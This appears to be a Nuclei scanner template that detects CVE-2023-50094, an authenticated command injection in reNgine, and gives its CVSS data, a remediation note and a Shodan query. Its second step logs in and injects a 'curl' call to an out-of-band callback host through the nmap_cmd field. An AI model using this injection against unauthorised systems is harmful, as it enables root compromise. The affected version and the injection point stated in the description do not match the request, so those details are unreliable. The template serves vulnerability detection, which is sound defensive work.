reNgine 2.2.0 - Command Injection

id: CVE-2023-50094

info:
  name: reNgine 2.2.0 - Command Injection
  author: Zierax
  severity: high
  description: |
    reNgine before 2.1.2 allows OS Command Injection if an adversary has a valid session ID. The attack places shell metacharacters in an api/tools/waf_detector/?url= string. The commands are executed as root via subprocess.check_output.
  impact: |
    Authenticated attackers can inject arbitrary OS commands that execute as root, leading to complete system compromise and data exfiltration.
  remediation: |
    Upgrade reNgine to version 2.1.2 or later which includes proper input validation.
  reference:
    - https://github.com/yogeshojha/rengine
    - https://github.com/Zierax/CVE-2023-50094_POC
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50094
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-50094
    cwe-id: CWE-78
    epss-score: 0.1354
    epss-percentile: 0.95998
    cpe: cpe:2.3:a:yogeshojha:rengine:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: yogeshojha
    product: rengine
    shodan-query: title:"reNgine"
  tags: cve,cve2023,rengine,rce,injection,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "rengine")'
        internal: true

  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

      - |
        POST /scan-engine/update HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"nmap_cmd": 'curl {{interactsh-url}}'}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol_2, "dns")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a004730450220456d6965d77718f38dd6e9a4b2a0d6617513a25b8669376b59e8d94df2330340022100f2c013e355fbf47d7c8b953df890224e8bb4dc803552b87aa718843dd9b408cf:922c64590222798bb761d5b6d8e72950